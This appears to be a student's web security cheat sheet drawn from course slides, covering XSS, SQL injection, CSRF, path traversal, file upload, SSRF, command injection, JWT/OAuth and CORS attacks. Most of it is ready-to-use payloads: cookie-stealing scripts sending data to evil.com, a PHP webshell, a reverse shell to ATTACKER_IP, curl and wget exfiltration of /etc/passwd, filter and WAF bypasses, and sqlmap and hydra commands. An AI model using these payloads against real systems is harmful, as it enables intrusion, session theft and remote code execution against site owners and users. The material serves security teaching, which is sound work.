

Cross-Site Scripting (XSS)

Injecting malicious JS into pages viewed by other users

How XSS Works

Three entities: Attacker, Victim User (browser), Victim Website (trusted by user). Attacker injects JS into the website. Victim's browser executes it in the context of the trusted site — giving attacker access to cookies, session, DOM.

Reflected	Payload in URL/param echoed back in response. Only harms the victim who clicks the crafted link. Harder — must be timed when user is logged in.
Stored	Payload saved in DB (comments, profiles). Every user who views the page is hit. Most dangerous — no user interaction needed beyond viewing.
DOM-based	JS reads URL/DOM and writes to a dangerous sink (innerHTML, eval). Never touches server. Must audit client-side JS to detect.

Reflected is harder to exploit because the attack must be timed. Stored is persistent — one injection, unlimited victims.

Payloads — From Course Slides

CONTEXT: HTML BODY

SLIDES

```
<script>alert(1)</script>
<script>document.location="http://evil.com/steal.php?cookie="+document.cookie</script>
```

CONTEXT: HTML ATTRIBUTE — SEARCH BOX REFLECTS VALUE="COOKIES"

Server shows prior search inside value="...". Break out of the attribute:

SLIDES

```
# Input: cookies" onmouseover="alert(1)
# Renders as: value="cookies" onmouseover="alert(1)"

# Or close the tag entirely:
"><script>alert(1)</script>
```

CONTEXT: JS STRING — ANGLE BRACKETS ARE ESCAPED BY SERVER

When < and > are HTML-encoded, you cannot inject tags. If input lands inside a JS string, break the string instead:

SLIDES

```
# Input appears in JS as: var x = '[YOUR INPUT]';
# Inject: '; alert(1);//
# Result: var x = ''; alert(1);//';
```

CONTEXT: HREF / SRC ATTRIBUTE

SLIDES

```
# javascript: is a protocol – browser executes what follows as JS
<a href="javascript:alert(1)">click me</a>
# From slides – post-attack stored XSS in a comment link:
<a id="author" href="javascript:alert(1)">KC</a>
```

Payloads – Extra Variants (Not in Slides)

EVENT HANDLERS – NO SCRIPT TAG NEEDED

EXTRA

```
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<input autofocus onfocus=alert(1)>
<details open ontoggle=alert(1)>
<video src=1 onerror=alert(1)>
```

FILTER & WAF BYPASS TRICKS

EXTRA

```
<ScRiPt>alert(1)</ScRiPt> # case variation
<img src=x onerror=alert(1)> # no quotes needed (HTML5)
onerror=&#97;&#108;&#101;&#114;&#116;(1) # HTML entities in attr
%253Cscript%253E # double URL encode
<svg><script>alert(1)</script></svg> # SVG namespace
${alert(1)} # template literal if in backtick string
```

Cookie Stealing

Prerequisite: Cookie must NOT have **HttpOnly** flag. If set, document.cookie is inaccessible from JS entirely.

VISIBLE REDIRECT – FROM SLIDES

SLIDES

```
<script>
document.location = "http://evil.com/steal.php?cookie=" + document.cookie;
</script>
# Victim sees the redirect – not stealthy
```

HIDDEN VIA INVISIBLE IFRAME – FROM SLIDES

SLIDES

```
<iframe height="0" width="0" id="XSS" name="XSS"></iframe>
<script>
frames["XSS"].location.href = "http://evil.com/steal.php?cookie=" + document.cookie;
</script>
# iframe is 0x0 px – victim sees nothing on the page
```

HIDDEN VIA IMAGE OBJECT – FROM SLIDES

SLIDES

```
<script>
img = new Image();
img.src = "http://evil.com/steal.php?cookie=" + document.cookie;
</script>
```

```
# No image returned — completely silent, no visible change
```

FETCH-BASED — EXTRA

EXTRA

```
<script>fetch("https://evil.com/?c=" + btoa(document.cookie));</script>
# btoa() base64-encodes — special chars in cookie wont break URL
```

DOM Sinks to Look For in Page JS

Audit the page's JavaScript for these. If user-controlled data flows into any of them, DOM XSS exists:

innerHTML = x	Injects raw HTML+JS — most common DOM XSS sink
document.write(x)	Writes raw HTML directly to page
eval(x)	Executes string as JS
setTimeout(x, n)	Executes string arg as JS
location.href = x	javascript: URI executes JS
src / href = x	Setting these to javascript: or data: URIs

Sources to trace from: location.search, location.hash, location.href, document.referrer, window.name, postMessage data

Advanced: Stored XSS to Bypass CSRF Token

Scenario (from slides): change-email is protected by CSRF token. Direct CSRF fails. But a comments field has stored XSS.

Attack: Inject XSS payload. When admin views the comment, the JS fetches their CSRF token from the account page, then immediately POSTs a change-email with the stolen token.

SLIDES

```
<script>
var req = new XMLHttpRequest();
req.onload = function() {
  // Parse CSRF token out of the returned page HTML
  var token = this.responseText.match(/name="csrf" value="([^\"]+)"/)[1];
  var req2 = new XMLHttpRequest();
  req2.open("POST", "https://victim.com/my-account/change-email", true);
  req2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  req2.send("email=attacker@evil.com&csrf=" + token);
};
req.open("GET", "https://victim.com/my-account", true);
req.send();
</script>
```

Context Breakout Quick Reference

Context	Payload	Why it works
HTML body	<code><script>alert(1)</script></code>	Direct JS execution
HTML attr value	<code>" onmouseover="alert(1)</code>	Closes attr, adds event
HTML attr value	<code>"><script>alert(1)</script></code>	Closes tag, injects new
JS string (single q)	<code>'; alert(1);//</code>	Breaks out of string
JS string (double q)	<code>"; alert(1);//</code>	Same, double quote
href / src	<code>javascript:alert(1)</code>	Protocol runs as JS
title / textarea	<code></title><script>alert(1)</script></code>	Escapes element

Ref: portswigger.net/web-security/cross-site-scripting | Recommended: z3nsh3ll YouTube (noted in slides)

SQL Injection (SQLi)

Manipulating DB queries through unsanitised user input

How SQLi Works

Application builds SQL query using user input without sanitisation. Attacker injects SQL syntax that changes the query's logic — returning extra data, bypassing auth, or executing OS commands.

Access hidden data	' OR 1=1-- returns all rows from the table
Subvert app logic	admin'-- comments out password check in login
UNION attack	Append SELECT to extract data from other tables
Blind boolean	' AND 1=1-- (loads) vs ' AND 1=2-- (error) — infer data
Blind time-based	' AND SLEEP(5)-- delay = injection confirmed
Examine DB	Dump table/column names, DB version via information_schema
Code execution	Write PHP webshell to disk via INTO OUTFILE

UNION Attack — Step by Step (from Slides)

SLIDES

```
# Step 1: Find number of columns — increment until error disappears
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- <- error here means 2 columns

# Step 2: Find string-type columns (needed to print data)
' UNION SELECT 'a',NULL--
' UNION SELECT NULL,'a'--

# Step 3: Extract data
' UNION SELECT username, password FROM users--

# Step 4: Enumerate DB — table names (MySQL/MSSQL)
' UNION SELECT table_name,NULL FROM information_schema.tables--

# Step 4b: Column names in a table
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--

# Oracle equivalents
' UNION SELECT * FROM all_tables--
' UNION SELECT * FROM all_tab_columns WHERE table_name='USERS'--

# DB version
' UNION SELECT @@version-- (MySQL / MSSQL)
```

```
' UNION SELECT version()-- (PostgreSQL / MySQL)
```

Blind SQLi (from Slides)

BOOLEAN-BASED — OBSERVE PAGE DIFFERENCE

SLIDES

```
# From slides — course portal example:
CS101' OR 1=1-- => 'Welcome to course!' (TRUE — row exists)
CS101' AND 1=2-- => 'Error: No course found' (FALSE — forced empty)

# Extract data one character at a time:
' AND SUBSTRING(username,1,1)='a'-- <- change 'a' through alphabet
```

TIME-BASED — NO VISIBLE PAGE DIFFERENCE

SLIDES

```
'; sleep 10-- (MySQL / PostgreSQL)
'; WAITFOR DELAY '0:0:5'-- (MSSQL)
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- (Oracle)
' AND IF(1=1, SLEEP(5), 0)-- (MySQL conditional)
```

Login Bypass Payloads

SLIDES

```
# In username field — comments out password check in SQL
admin'--
admin'# (MySQL)
' OR 1=1--
' OR 'x'='x
') OR ('1'='1

# How it works — original query:
SELECT * FROM users WHERE user='admin' AND pass='[pass]'
# After injection: WHERE user='admin'--' AND pass='anything'
# Everything after -- is a comment -> password check skipped
```

Code Execution via SQLi (from Slides)

SLIDES

```
# Write PHP webshell to web root — requires FILE privilege
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--

# Then visit:
http://target.com/shell.php?cmd=id
# Output: uid=33(www-data) gid=33(www-data)
```

Filter Bypass & Comment Syntax

DB	Comment syntax	Version query
MySQL	-- (space after) OR # OR /**/	' UNION SELECT @@version--
MSSQL	-- OR /**/	' UNION SELECT @@version--
PostgreSQL	-- OR /**/	' UNION SELECT version()--
Oracle	-- OR /**/	' UNION SELECT banner FROM v\$version--
SQLite	-- OR /**/	' UNION SELECT sqlite_version()--

EXTRA BYPASS TRICKS

EXTRA

```
# Space bypass (if spaces filtered):
SELECT/**/username/**/FROM/**/users
SELECT%09username%09FROM%09users # tab character

# Keyword bypass – double-write trick (if filter strips once):
SELSELECTECT -> SELECT after filter runs

# Quote bypass – encode as hex or CHAR():
WHERE username=0x61646d696e # hex for 'admin'
WHERE username=CHAR(97,100,109,105,110) # CHAR() for 'admin'
```

SQLMap Quick Reference

EXTRA

```
sqlmap -u 'http://target.com/page?id=1'
sqlmap -u 'URL' --cookie='session=abc' # authenticated
sqlmap -u 'URL' --dbs # enumerate databases
sqlmap -u 'URL' -D dbname --tables # list tables
sqlmap -u 'URL' -D dbname -T users --dump # dump table
sqlmap -u 'URL' --data='user=a&pass=b' # POST request
sqlmap -u 'URL' --tamper=space2comment # WAF bypass
sqlmap -u 'URL' --level=5 --risk=3 # aggressive scan
```

Cross-Site Request Forgery (CSRF)

Tricking a logged-in user's browser into making unintended requests

How CSRF Works

Attacker hosts a malicious page. When a logged-in victim visits it, their browser automatically sends cookies to the target site — so the forged request looks legitimate. The server cannot tell it was initiated by an attacker page.

ALL 3 CONDITIONS MUST BE TRUE (FROM SLIDES)

SLIDES

1. A relevant action exists (change email, transfer money, delete account)
2. Session is handled only via cookies — no other unpredictable verification
3. No strong, unpredictable CSRF token — or token is bypassable

PoC Payloads (from Slides)

GET-BASED CSRF — SIMPLEST

SLIDES

```
<!-- Load as image — browser fires GET with cookies automatically -->


<!-- Or just navigate -->
<script>window.location="https://victim.com/delete?id=42"</script>
```

POST-BASED CSRF — AUTO-SUBMITTING FORM

SLIDES

```
<html>
<body onload="document.forms[0].submit()">
<form method="POST" action="https://victim.com/my-account/change-email">
<input type="hidden" name="email" value="attacker@evil.com"/>
</form>
</body>
</html>

# Victim opens this page -> form submits instantly with their session cookie
```

CSRF Token Bypass Techniques

Remove token entirely	Submit request without any CSRF param — server may not validate
Use blank/random token	Server may only check presence, not value
Use another user's token	If token not tied to session, any valid token works
Change POST to GET	Token may only be checked on POST — try GET with same params

Change Content-Type	Some frameworks skip validation for certain content types
X-HTTP-Method-Override	Header tricks some frameworks into treating GET as POST

Stored XSS to Steal CSRF Token (from Slides)

Scenario: change-email is guarded by CSRF token. There is stored XSS in comments. Inject this payload — when admin views it, their token is stolen and used:

SLIDES

```
<script>
var req = new XMLHttpRequest();
req.onload = function() {
  // Extract CSRF token from the returned account page HTML
  var token = this.responseText.match(/name="csrf" value="([^"]+)"/)[1];
  var req2 = new XMLHttpRequest();
  req2.open("POST", "https://victim.com/my-account/change-email", true);
  req2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  req2.send("email=attacker@evil.com&csrf=" + token);
};
req.open("GET", "https://victim.com/my-account", true);
req.send();
</script>
```

SameSite Cookie & Extra Bypasses

SameSite value	Cross-site GET	Cross-site POST
Strict	Blocked	Blocked
Lax	Allowed (top-level nav)	Blocked
None	Allowed	Allowed
Not set	Allowed (old behaviour)	Allowed

Lax bypass: Use a top-level GET navigation (window.open, meta refresh, or link click). Since Lax allows GET on top-level navigations, a GET-based state-changing action can still be exploited.

JSON CSRF — EXTRA

EXTRA

```
# If server accepts text/plain and parses body as JSON loosely:
<form enctype="text/plain" action="https://api.victim.com/update" method="POST">
<input name='{ "email": "evil@x.com", "x": "" }' value='1' '>
</form>
# Sends body: { "email": "evil@x.com", "x": "" }
# Works if server does loose JSON parsing on form-encoded body
```

Directory Traversal & File Upload Attacks

Reading arbitrary files / executing uploaded code on the server

Directory Traversal — How It Works

Web app accepts a filename or path parameter and reads the file without validating that the path stays inside the web root. Attacker uses ../ sequences to climb out of the allowed directory and read sensitive server files.

BASIC ATTACK — FROM SLIDES

SLIDES

```
# Target: GET /loadImage?filename=chebrolu.jpg
# Webroot: /var/www/html/images/

# Attack: climb to root with ../../../../
GET /loadImage?filename=../../../../etc/passwd

# Why 4x ../? Each one climbs one directory:
# images/ -> html/ -> www/ -> var/ -> / (root)
# Then reads /etc/passwd

# Windows equivalent:
GET /loadImage?filename=../../../../..\\windows\\win.ini
```

Traversal — Filter Bypass Techniques (from Slides)

Stripped once only	Use// — strip ../ once, leaves ../ (still works!)
URL encoding	../ becomes %2e%2e%2f
Double URL encoding	../ becomes %252e%252e%252f
Null byte to bypass ext check	filename=../../../../etc/passwd%00.png (terminates at null)
Absolute path (no base dir)	filename=/etc/passwd (if server doesn't prepend base)
Required prefix bypass	/var/www/images/../../../../etc/passwd (satisfies prefix check)

File Upload Attacks — How It Works

Application allows file uploads without properly validating content. Attacker uploads a PHP webshell — server executes it on request, giving full Remote Code Execution (RCE).

WEBSHELL PAYLOAD

SLIDES

```
# Upload file named: exploit.php
<?php echo system($_GET["cmd"]); ?>
```

```
# Access it:
GET /uploads/exploit.php?cmd=id
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Run reverse shell:
GET /uploads/exploit.php?cmd=bash+-i+%26+/dev/tcp/ATTACKER_IP/4444+0+%261
```

Extension Filter Bypass (from Slides)

Case variation	exploit.pHp — if blacklist is case-sensitive but execution is not
Double extension	exploit.php.jpg — server picks wrong extension to execute
URL-encoded dot	exploit%2Ephp — decoded at execution, not at validation time
Null byte	exploit.php%00.jpg — PHP/Java string ends at null; C/C++ sees .php
Semicolon terminator	exploit.php;.jpg — C/C++ string terminates at semicolon
Alternate extensions	exploit.php5 exploit.phtml exploit.shtml exploit.phar

.htaccess Config Override Attack (from Slides)

Apache reads .htaccess files in each directory. If you can upload one, you can instruct the server to execute a custom extension as PHP:

SLIDES

```
# Step 1: Upload file named exactly ".htaccess"
# Content-Type: text/plain
# Contents:
AddType application/x-httpd-php .xyz

# Step 2: Upload your webshell with .xyz extension
# shell.xyz contains: <?php echo system($_GET["cmd"]); ?>

# Result: server now executes .xyz files as PHP in that directory
GET /uploads/shell.xyz?cmd=id
```

Path Traversal in Upload Filename (from Slides)

Server configuration differs per directory — the /uploads/ folder may block PHP execution, but other folders may not. Use path traversal in the filename to land the file in an executable directory:

SLIDES

```
# Set the filename parameter in the upload request to:
filename="../../images/exploit.php"

# File is saved to /var/www/html/images/exploit.php
# That directory may allow PHP execution
```

```
# Retrieve:  
GET /var/www/html/../../images/exploit.php
```

MIME / Content-Type Bypass — Extra

EXTRA

```
# Server validates Content-Type header, not actual file content  
# Change Content-Type in Burp from application/x-php to image/jpeg  
  
# Or: prepend valid image bytes (magic bytes) before PHP code  
# GIF magic bytes:  
GIF89a<?php echo system($_GET["cmd"]); ?>  
  
# File passes image check but PHP engine still executes the code
```

Server-Side Request Forgery (SSRF)

Making the server issue HTTP requests to unintended targets

How SSRF Works

Application fetches a URL or resource based on user input (webhooks, image fetch by URL, document processors, proxy services). Attacker replaces the URL with an internal target. The request originates from the server — which is trusted internally — so normal access controls are bypassed.

KEY INSIGHT — FROM SLIDES

SLIDES

```
# Why does /admin block external users but work via SSRF?
stockApi=http://localhost/admin

# /admin check: "is this request from localhost?" -> YES -> allowed
# Normal access control sits in front of the app, not between
# the app and localhost. Requests from 127.0.0.1 are trusted.
```

Basic SSRF Targets (from Slides)

Same-server admin panel	http://localhost/admin OR http://127.0.0.1/admin
Internal network services	http://192.168.0.68/admin (behind org firewall)
AWS metadata (IMDSv1)	http://169.254.169.254/latest/meta-data/iam/security-credentials/
GCP metadata	http://metadata.google.internal/computeMetadata/v1/
Azure metadata	http://169.254.169.254/metadata/instance?api-version=2021-02-01
Password brute-force trick	http://login:password@attacker.com/admin/ (HTTP basic in URL)

Password brute trick (from slides): Set URL to `http://user:pass@attacker.com/admin/`. Server makes the request and sends Basic Auth creds in the HTTP header. Attacker sees the `login:password` attempt in server logs — automate many attempts to brute force.

Blind SSRF (from Slides)

Server makes the request but does NOT return the response body to attacker. Harder to exploit. Detect via out-of-band callbacks:

SLIDES

```
# OOB detection — if server contacts your domain, SSRF is confirmed
stockApi=http://attacker.com/ssrf-probe

# Port scan via blind SSRF — 200 vs connection error = open vs closed
stockApi=http://192.168.0.1:22
```

```
stockApi=http://192.168.0.1:3306
stockApi=http://192.168.0.1:6379 # Redis

# DNS exfil via blind SSRF (from slides):
stockApi=http://`whoami`.attacker.com/
# Attacker sees DNS query e.g. "www-data.attacker.com" in logs
```

Filter Bypass Techniques (from Slides + Extra)

Localhost alternatives	127.1 0.0.0.0 [::1] 2130706433 (decimal) 0x7f000001 (hex)
169.254.x bypass	Use open redirect: http://evil.com/redir?url=http://169.254.169.254/
Whitelist bypass	https://expected.com@evil.com OR https://evil.com#expected.com
DNS rebinding	Domain resolves to allowed IP first, then to 127.0.0.1 on second lookup
URL parser confusion	http://evil.com:80@127.0.0.1/ — parsed differently by libs
Protocol confusion	dict://127.0.0.1:6379/ gopher://127.0.0.1:6379/_FLUSHALL

Common Internal Services to Probe — Extra

EXTRA

```
http://localhost:6379 # Redis — unauthenticated in many configs
http://localhost:5432 # PostgreSQL
http://localhost:27017 # MongoDB
http://localhost:11211 # Memcached
http://localhost:8080 # Internal admin / secondary app
http://localhost:9200 # Elasticsearch
http://localhost:2375 # Docker daemon API (unauthenticated)
```

Command Injection

Executing arbitrary OS commands via unsanitised user input

How It Works

Web app passes user input directly to an OS shell function (`system()`, `exec()`, `shell_exec()` in PHP; `os.system()` in Python; etc.) without sanitisation. Attacker appends a separator + OS command. Common in interpreted languages (PHP, Python, Ruby) — rare in Java which runs in a VM.

From slides: Command injection differs from code injection — no malicious code involved. Attacker uses the OS shell's own syntax. Gives greater control because it runs at OS level, not application level.

Command Separators (from Slides)

Separator	Behaviour	OS
;	Run both commands sequentially	Linux
&&	Run 2nd only if 1st exits successfully	Both
	Run 2nd only if 1st fails	Both
	Pipe stdout of 1st as stdin to 2nd	Both
&	Background 1st; run 2nd immediately	Windows primarily
`cmd`	Inline subshell — backtick	Linux
\$(cmd)	Inline subshell — dollar-paren	Linux

Detection Payloads (from Slides)

Append to any user-controlled input that might feed into a shell call — domain fields, file paths, IP addresses, usernames:

SLIDES

```
# From slides — domain input field:
www.cse.iitb.ac.in; id
www.cse.iitb.ac.in | whoami
www.cse.iitb.ac.in && uname -a
www.cse.iitb.ac.in `id`
www.cse.iitb.ac.in $(id)
```

Blind Command Injection (from Slides)

Application does not return command output in the HTTP response. Must use side channels to confirm and exploit:

TIME DELAY — FROM SLIDES

SLIDES

```
# If response takes 10 seconds longer, injection is confirmed
domain=www.cse.iitb.ac.in; sleep 10
domain=www.cse.iitb.ac.in & ping -n 10 127.0.0.1 (Windows)
```

DNS OUT-OF-BAND CALLBACK — FROM SLIDES

SLIDES

```
# Backtick causes inline execution — output used as subdomain
www.cse.iitb.ac.in; dig `whoami`.attacker.com

# Attacker receives DNS query: www-data.attacker.com
# The subdomain IS the command output — data exfiltrated via DNS

# More data exfil via curl:
www.cse.iitb.ac.in; curl http://attacker.com/${id}
www.cse.iitb.ac.in; wget http://attacker.com/$(cat /etc/passwd | base64)
```

WRITE TO WEBROOT — THEN FETCH VIA HTTP

EXTRA

```
domain=x; id > /var/www/html/out.txt
# Then visit: http://target.com/out.txt
# Works if web process has write permission to webroot
```

Useful Commands Once Inside

id	Which user is running the app — determines privilege level
whoami	Username of running process
uname -a	OS and kernel version
cat /etc/passwd	All system users
ls /var/www/html	Web root contents — find other app files
cat /var/www/html/config.php	DB credentials almost always in config files
env	Environment variables — often contain secrets/API keys
netstat -tlnp	Open ports and listening services on the server

Filter Bypass Tricks — Extra

EXTRA

```
# Space bypass (if space is filtered):
cat${IFS}/etc/passwd # $IFS = Internal Field Separator (space)
{cat,/etc/passwd} # brace expansion
cat%09/etc/passwd # tab character

# Slash bypass:
```

```
cat${PATH:0:1}etc${PATH:0:1}passwd # $PATH starts with /
```

```
# Keyword bypass (if "cat" is blocked):
```

```
c'at /etc/passwd # empty string inside keyword
```

```
c\at /etc/passwd # backslash ignored by shell
```

```
wh$(echo)oami # empty subshell inside keyword
```

Authentication, Session & OAuth Attacks

Bypassing login, hijacking sessions, exploiting OAuth flows

Cookie Flags — Check Every Set-Cookie Header

Flag	Missing means vulnerable to	How to check
HttpOnly	XSS can steal cookie via document.cookie	DevTools > Application > Cookies
Secure	Cookie sent over plain HTTP -> sniffable	Set-Cookie response header
SameSite=Strict	CSRF — cookie sent on cross-site requests	Set-Cookie response header
SameSite=Lax	CSRF via GET (partial protection only)	Set-Cookie response header

Session Management Attacks

How sessions work (from slides): User logs in -> server creates session record in DB -> sends Session ID in cookie -> every subsequent request includes that cookie -> server looks up session.

Session fixation	Attacker pre-sets known session ID; victim logs in with it; attacker now owns the session
Session prediction	Weak RNG or timestamp-based IDs — enumerate or guess valid session IDs
Session hijack via XSS	Steal session cookie with JS if HttpOnly is missing
Session not invalidated	Logout does not destroy server-side session — old cookie still works

JWT Attacks (from Slides)

JWT structure: header.payload.signature — all base64url encoded. Header declares algorithm. Server verifies signature using secret/key.

ATTACK 1: ALG=NONE — REMOVE SIGNATURE ENTIRELY

SLIDES

```
# Change header from {"alg":"HS256"} to {"alg":"none"}
# Remove the signature, keep the trailing dot

# Original: eyJhbGciOiJIU2U1NiIsInR5cCI6IkpXLTJlcnV5IiwiaWF0Ij0iMTUxMjM0MjE5In0.eyJ1c2U1bn0.eyJ1c2V5IjoiaWoiYWRtaW4ifQ.
# Modified: eyJhbGciOiJIU2U1bn0.eyJ1c2V5IjoiaWoiYWRtaW4ifQ.

# Modify payload to: {"user":"admin","role":"administrator"}
# If server accepts alg=none -> no signature check -> full bypass
```

ATTACK 2: WEAK HMAC SECRET — BRUTE FORCE

SLIDES

```
# If algorithm is HS256 and secret is weak:
hashcat -a 0 -m 16500 token.txt rockyou.txt
# Recover secret -> forge any payload -> sign it yourself
```

ATTACK 3: RS256 TO HS256 CONFUSION — EXTRA

EXTRA

```
# Server uses RS256 (asymmetric). Public key is available.
# Change algorithm in header to HS256 (symmetric).
# Sign token using the server public key as the HMAC secret.
# Server verifies with public key as HMAC secret -> passes!
```

JWT TOOL QUICK REF

EXTRA

```
jwt_tool <token> -T # tamper interactively
jwt_tool <token> -C -d wordlist.txt # crack HMAC secret
jwt_tool <token> -X a # test alg=none attack
```

OAuth Attacks — Missing State Parameter (from Slides)

State parameter = CSRF token for OAuth. If server does not validate it, an attacker can perform a CSRF-style OAuth account linking attack.

SLIDES

```
# Attacker gets their own authorization code from OAuth flow
# Crafts a link that sends victim to callback with attacker code:
<iframe src="https://client-app.com/callback?code=ATTACKER_CODE"></iframe>

# Admin clicks -> client-app thinks admin authorized attacker code
# Attacker account linked to admin -> attacker logs in as admin
```

REDIRECT_URI BYPASS — FROM SLIDES

SLIDES

```
# If redirect_uri not strictly validated:
redirect_uri=https://client.com/../../attacker # path traversal
redirect_uri=https://attacker.com%2F@client.com # URL parse confusion
redirect_uri=https://client.com.attacker.com # subdomain match

# Auth code is sent to attacker domain -> steal and use it
```

Auth Bypass Patterns

SQLi login bypass	Username: admin'-- (comments out password check)
Default credentials	admin/admin admin/password admin/123456
Username enumeration	Different error for wrong user vs wrong password -> find valid users

No rate limiting	Brute force with no lockout: hydra -l admin -P rockyou.txt target http-post-form "..."
Response manipulation	Burp Repeater: change {"success":false} to {"success":true} in response
Password reset flaw	Predictable token, not invalidated after use, or Host header injection
Skip MFA step	After password step, directly navigate to /dashboard — MFA may not be enforced server-side

CORS, SOP & Information Disclosure

Misconfigured cross-origin policies and data leakage

Same-Origin Policy (SOP)

Origin = protocol + hostname + port. SOP prevents JS from one origin reading responses from another origin. Introduced by Netscape 1995, implemented by all browsers today.

Blocked by SOP	JS reading cross-origin response body, accessing cross-origin cookies or DOM
NOT blocked	Sending cross-origin requests (this is why CSRF works!), loading img/script/css
Key implication	SOP blocks reading but NOT sending — attacker can still trigger state changes

CORS — How It Relaxes SOP (from Slides)

CORS (proposed 2006) lets servers whitelist origins that may read their responses, via HTTP headers. Misconfiguration = attacker can read cross-origin responses including sensitive data.

KEY CORS HEADERS

SLIDES

```
Access-Control-Allow-Origin: https://trusted.com # which origin can read
Access-Control-Allow-Credentials: true # include cookies in XHR

# Vulnerable config — server reflects whatever Origin header it receives:
Request: Origin: https://attacker.com
Response: Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
# Attacker can now read victim responses including account data + cookies
```

CORS Misconfiguration Attack (from Slides)

SLIDES

```
# Attacker hosts this on attacker.com:
var req = new XMLHttpRequest();
req.onload = function() {
  // Send the response body to attacker — contains sensitive data
  location = "https://attacker.com/log?data=" + this.responseText;
};
req.open("GET", "https://victim.com/accountDetails", true);
req.withCredentials = true; // sends victim session cookie!
req.send();
```

```
# Because ACAO reflects attacker.com + ACAC: true,  
# browser allows attacker.com to read victim.com response
```

XSS + Subdomain CORS Combo (from Slides)

Setup: victim.com trusts all subdomains. vulnerable.subdomain.victim.com has an XSS vulnerability.

Attack: Exploit XSS on subdomain -> JS runs in subdomain context (trusted by CORS) -> make credentialed XHR to main API -> exfil data to attacker.

SLIDES

```
# Step 1: Inject XSS payload into vulnerable.subdomain.victim.com  
# Step 2: Payload (from slides):  
document.location="http://subdomain.vulnerable.com/?productId=  
<script>  
var req = new XMLHttpRequest();  
req.onload = reqListener;  
req.open("get","https://cross-origin-server.com/accountDetails",true);  
req.withCredentials = true;  
req.send();  
function reqListener() {  
location="https://attacker.com/log?key=" + this.responseText;  
}  
</script>"  
# URL encoding needed in practice
```

Information Disclosure (from Slides)

Sites leak info that helps attackers plan and execute attacks: tech versions, usernames, source code, API keys, internal paths, session tokens.

COMMON LEAK SOURCES — FROM SLIDES

Error messages	Stack traces reveal framework, DB type, file paths, exact line numbers
Verbose errors	productId=abc -> "expected integer" -> confirms injection point type + helps craft payload
Username enum	Different error for wrong user vs wrong password -> confirm valid usernames -> targeted brute force
Source code / git	Comments in HTML, .git/ folder exposed, metadata in uploaded files
Logs in webroot	/logs/*.log exposed -> session tokens, credentials, internal hostnames
Debug mode on	Dev diagnostic features left on in prod -> full stack traces, DB dumps

ATTACKER USE CASES — FROM SLIDES

SLIDES

```
# Error reveals data type -> pivot to SQLi:  
GET /product?productId=abc => "expected integer, got string"
```

```
# Now confidently try: ?productId=1 UNION SELECT NULL--

# Username enumeration:
POST /login user=admin => "Wrong password" <- user EXISTS
POST /login user=xyz => "User not found" <- user DOES NOT EXIST
# Build valid user list -> run targeted brute force
```